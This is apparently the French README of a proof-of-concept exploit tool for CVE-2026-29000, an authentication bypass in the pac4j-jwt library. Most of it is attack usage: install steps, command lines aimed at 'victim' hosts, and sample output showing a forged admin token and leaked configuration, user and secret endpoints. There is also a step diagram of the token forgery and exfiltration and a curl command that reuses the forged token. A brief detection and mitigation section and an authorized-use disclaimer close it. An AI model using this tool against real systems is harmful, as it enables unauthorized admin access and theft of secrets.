
CVE-2026-29000 – Contournement d'authentification pac4j-jwt (🔥 CVSS 10.0). Forge d'admin en un clic via enveloppement JWE avec clé publique. Fuite de configurations, utilisateurs, secrets. Keep-alive, proxy, JWKS personnalisé.⚙️ Outil de preuve de concept éducatif.
CVE-2026-29000 - Forge Admin en un clic via JWT alg:none + chiffrement JWE
Cet exploit exploite CVE-2026-29000, une vulnérabilité critique CVSS 10.0 dans la bibliothèque pac4j-jwt. En extrayant la clé publique JWKS du serveur et en forgeant un jeton JWE chiffré avec alg: none, il permet un contournement complet de l'authentification et accorde les privilèges administrateur en un clic.
alg:none, l'enveloppe avec la propre clé publique du serveur| Bibliothèque | Versions affectées | Versions corrigées |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
⚠️ Avertissement : Cet outil est destiné aux tests de sécurité autorisés et aux engagements d'équipe rouge uniquement.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requirements.txt:
text
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
🚀 Utilisation
Exploit de base en un coup
bash
python exploit.py --target https://victim.com:8443
Sauvegarder le jeton forgé + les données divulguées
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Mode verbeux avec JWKS personnalisé
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
Avec proxy et sans maintien d'activité
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Intervalle de maintien d'activité personnalisé
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
Vérification SSL activée
bash
python exploit.py -t https://legit.com:8443 --ssl-verify
⚙️ Arguments de ligne de commande
Argument Abréviation Requis Défaut Description
--target -t Oui - URL cible (ex. https://example.com:8443)
--jwks -k Non détection auto Chemin personnalisé du point de terminaison JWKS
--output -o Non Aucun Sauvegarder le jeton JWE forgé dans un fichier
--leak -l Non leaked_TIMESTAMP.txt Sauvegarder les données divulguées dans un fichier
--verbose -v Non False Activer les sorties de débogage
--proxy -p Non Aucun Proxy HTTP/HTTPS
--user-agent -ua Non Mozilla/5.0... User-Agent personnalisé
--no-keep-alive - Non False Désactiver le maintien d'activité de session
--delay - Non 5.0 Intervalle de ping de maintien d'activité (secondes)
--max-retries - Non 3 Nombre maximum de réessais par requête échouée
--ssl-verify - Non False Vérifier les certificats SSL
📸 Exemple de sortie
text
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
╔══════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-29000 - Exploit de contournement d'authentification pac4j-jwt ║
║ La Forge Admin en un clic éducative ║
║ CVSS 10.0 - CRITIQUE ║
╚══════════════════════════════════════════════════════════════════════════════╝
[11:23:15] ÉTAPE 1 : Acquisition de la clé publique RSA depuis JWKS
[11:23:15] Recherche du point de terminaison JWKS...
[11:23:16] JWKS trouvé sur /realms/master/protocol/openid-connect/certs
[11:23:16] Clé publique RSA extraite avec succès
[11:23:16] ÉTAPE 2 : Création du JWT avec alg:none & chiffrement en JWE
[11:23:16] Jeton JWE forgé (tronqué) : eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Jeton sauvegardé dans backdoor.jwe
[11:23:16] ÉTAPE 3 : Envoi du JWE forgé comme jeton Bearer
[11:23:17] ✓ Authentification réussie ! Accès accordé à /api/users/me
[11:23:17] ÉTAPE 4 : Énumération des points de terminaison accessibles et révélation de données sensibles
[11:23:18] ✓ Divulgué : /actuator/env (statut 200)
[11:23:18] ✓ Divulgué : /api/users (statut 200)
[11:23:18] ✓ Divulgué : /api/secrets (statut 200)
[11:23:18] ✓ Divulgué : /config/server (statut 200)
[11:23:18] ✓ 4 points de terminaison sensibles capturés → sauvegardés dans leak.txt
[11:23:18] Session de maintien d'activité active (Ctrl+C pour arrêter)
[11:23:18] Jeton (JWE) valide ~1 heure – refaire un forge si expiré
🧠 Comment ça fonctionne
text
┌─────────────────────────────────────────────────────────────────┐
│ ÉTAPE 1 : Acquisition de la clé publique │
│ ├── Découvrir le point de terminaison JWKS (15+ chemins connus)│
│ ├── Récupérer la JWK contenant la clé publique RSA │
│ └── Convertir JWK → format PEM │
├─────────────────────────────────────────────────────────────────┤
│ ÉTAPE 2 : Forge du jeton │
│ ├── Créer un JWT avec alg: "none" │
│ ├── Injecter des revendications admin (ROLE_ADMIN, admin: true)│
│ └── Chiffrer le JWT en JWE en utilisant la clé publique du serveur│
├─────────────────────────────────────────────────────────────────┤
│ ÉTAPE 3 : Contournement d'authentification │
│ ├── Envoyer le JWE comme jeton Bearer │
│ ├── Tester 8+ points de terminaison protégés │
│ └── Extraire le cookie de session │
├─────────────────────────────────────────────────────────────────┤
│ ÉTAPE 4 : Exfiltration d'informations │
│ ├── Énumérer 20+ chemins API sensibles │
│ ├── Collecter configurations, utilisateurs, secrets, environnement│
│ └── Tout sauvegarder dans le fichier de fuite │
├─────────────────────────────────────────────────────────────────┤
│ Maintien d'activité : Ping /api/ping toutes les N secondes │
└─────────────────────────────────────────────────────────────────┘
🔧 Utilisation manuelle du jeton
Après l'exploitation, utilisez le jeton JWE sauvegardé avec curl :
bash
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users
🛡️ Détection et atténuation
Méthode de détection Indicateur
Analyse des journaux JWT avec alg: none dans les journaux d'audit
Surveillance réseau Requêtes de point de terminaison JWKS depuis des IP inconnues
Vérification de version curl /actuator/info | grep pac4j
Atténuation :
Mettre à jour pac4j-jwt vers les versions corrigées (≥5.1.5, ≥4.5.8, ≥3.18.6)
Désactiver le support de alg: none dans le validateur JWT
Implémenter une validation stricte des JWE
Surveiller les structures JWT anormales